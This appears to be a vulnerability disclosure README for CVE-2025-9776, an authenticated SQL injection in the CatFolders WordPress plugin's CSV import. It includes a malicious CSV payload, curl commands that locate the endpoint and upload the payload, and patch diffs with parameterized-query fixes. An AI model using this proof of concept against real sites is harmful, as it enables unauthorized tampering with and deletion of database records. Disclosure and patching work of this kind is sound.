
CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough
Keywords: CVE-2025-9776, CatFolders WordPress vulnerability, SQL injection WordPress, authenticated SQL injection, WordPress security, CSV import vulnerability, WordPress plugin exploit, CWE-89, WordPress database attack, media library vulnerability, WordPress CVE 2025
An authenticated SQL Injection vulnerability was discovered in the CatFolders WordPress plugin that allows Author-level users to manipulate database queries through malicious CSV imports.
Discovered by: Kai Aizen (SnailSploit)
Published: 2025
CVSS Score: 6.5 (Medium)
CWE: CWE-89 - SQL Injection
CatFolders – Tame Your WordPress Media Library by Category contains an authenticated SQL Injection vulnerability in the CSV import functionality. The attachments column from a user-supplied CSV is split into a list and passed directly to FolderModel::set_attachments() which concatenates those values into raw SQL IN (...) clauses without proper sanitization or parameterization.
This vulnerability allows authenticated attackers with Author-level privileges to:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
The vulnerability exists in the CSV import workflow:
File: includes/Rest/Controllers/ImportController.php
import_csv method parses uploaded CSV without per-field sanitizationrestore_folders() calls:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
File: includes/Models/FolderModel.php
set_attachments() builds raw SQL using string concatenation:'raw' => 'post_id IN (' . $attachmentIds . ')'
An attacker with Author-level privileges (upload_files capability) can inject malicious SQL through the CSV import endpoint:
Malicious CSV payload:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Resulting vulnerable query:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
This breaks out of the IN(...) clause and alters query semantics, potentially affecting all rows.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Typical result: /catf/v1/import-csv
Create a file named catf_inject.csv:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Replace with discovered namespace
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Expected response:
{ "success": true }
The server constructs and executes:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
This may perform broader DELETE/INSERT operations than intended, often wiping folder-attachment relationships across the entire database.
Run the standalone SQLite simulation to observe the vulnerability safely:
python3 poc/catfolders_sql_poc.py
This prints the vulnerable query and demonstrates how a malicious token returns all rows, while a parameterized version properly rejects it.
Immediate Action Required:
Two minimal hardening steps:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Replace all raw SQL concatenation with parameterized queries using WordPress's $wpdb->prepare():
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
Additionally:
A complete patch is available in patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # This file
├── poc/
│ ├── catf_inject.csv # Malicious CSV payload
│ └── catfolders_sql_poc.py # Safe SQLite simulation
└── patch/
└── catfolders_fix.patch # Recommended fixes
Researcher: Kai Aizen (SnailSploit)
Disclosure Process: Coordinated through Wordfence Bug Bounty Program
⚠️ IMPORTANT DISCLAIMER
This Proof of Concept is provided exclusively for defensive research and educational purposes.
Unauthorized access to computer systems is illegal under laws including:
Use at your own risk. The researchers and SnailSploit assume no liability for misuse of this information.
For questions or additional information about this vulnerability:
Stay secure and keep your WordPress installations updated!
Last updated: October 13, 2025
This project's full writeup, methodology, and related research lives at:
https://snailsploit.com/security-research/cves/cve-2025-9776/
Created by Kai Aizen — independent offensive security researcher.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Same attack. Different substrate.
| Metric | Value |
|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) - Author+ |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | Low (A:L) |